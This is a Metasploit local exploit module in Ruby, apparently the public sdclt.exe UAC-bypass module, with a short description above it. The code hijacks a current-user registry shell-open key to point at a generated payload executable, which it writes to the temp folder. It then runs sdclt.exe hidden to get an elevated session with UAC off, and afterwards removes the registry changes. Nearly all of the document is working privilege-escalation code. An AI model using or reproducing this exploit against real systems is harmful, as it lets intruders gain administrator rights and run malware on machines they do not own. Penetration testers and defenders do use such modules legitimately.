This Metasploit module will bypass Windows UAC by hijacking a special key in the Registry under the current user hive, and inserting a custom command that will get invoked when Windows backup and restore is launched. It will spawn a second shell that has the UAC flag turned off. This module modifies a registry key, but cleans up the key once the payload has been invoked.
4f1cab9439a2a2fee0bb0c73a655df7d##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Post::Windows::Priv
include Post::Windows::Runas
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)',
'Description' => %q(
This module will bypass Windows UAC by hijacking a special key in the Registry under
the current user hive, and inserting a custom command that will get invoked when
Window backup and restore is launched. It will spawn a second shell that has the UAC
flag turned off.
This module modifies a registry key, but cleans up the key once the payload has
been invoked.
),
'License' => MSF_LICENSE,
'Author' => [
'enigma0x3', # UAC bypass discovery and research
'bwatters-r7', # Module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
},
'References' =>
[
['URL', 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/'],
['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1'],
['URL', 'https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass']
],
'DisclosureDate' => 'Mar 17 2017'
)
)
register_options(
[OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
)
end
def check
if sysinfo['OS'] =~ /Windows (Vista|7|8|2008|2012|2016|10)/ && is_uac_enabled?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def write_reg_values(registry_key, payload_pathname)
begin
registry_createkey(registry_key) unless registry_key_exist?(registry_key)
registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ")
registry_setvaldata(registry_key, '', payload_pathname, "REG_SZ")
rescue ::Exception => e
print_error(e.to_s)
end
end
def exploit
check_permissions!
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end
registry_key = 'HKCU\Software\Classes\Folder\shell\open\command'
remove_registry_key = !registry_key_exist?(registry_key)
# get directory locations straight
win_dir = session.sys.config.getenv('windir')
vprint_status("win_dir = " + win_dir)
tmp_dir = session.sys.config.getenv('tmp')
vprint_status("tmp_dir = " + tmp_dir)
exploit_dir = win_dir + "\\System32\\"
vprint_status("exploit_dir = " + exploit_dir)
target_filepath = exploit_dir + "sdclt.exe"
vprint_status("exploit_file = " + target_filepath)
# make payload
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) + '.exe'
payload_pathname = tmp_dir + '\\' + payload_name
vprint_status("payload_pathname = " + payload_pathname)
vprint_status("Making Payload")
payload = generate_payload_exe
reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"
vprint_status("reg_command = " + reg_command)
write_reg_values(registry_key, reg_command)
# Upload payload
vprint_status("Uploading Payload to #{payload_pathname}")
write_file(payload_pathname, payload)
vprint_status("Payload Upload Complete")
vprint_status("Launching " + target_filepath)
begin
session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
rescue ::Exception => e
print_error("Executing command failed:\n#{e}")
end
print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
# wait for a few seconds before cleaning up
print_status("Please wait for session and cleanup....")
sleep(20)
vprint_status("Removing Registry Changes")
if remove_registry_key
registry_deletekey(registry_key)
else
registry_deleteval(registry_key, "DelegateExecute")
registry_deleteval(registry_key, '')
end
print_status("Registry Changes Removed")
end
def check_permissions!
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
end
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
# Check if you are an admin
# is_in_admin_group can be nil, true, or false
print_status('UAC is Enabled, checking level...')
vprint_status('Checking admin status...')
case is_in_admin_group?
when true
print_good('Part of Administrators group! Continuing...')
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
when false
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
when nil
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
end
end
end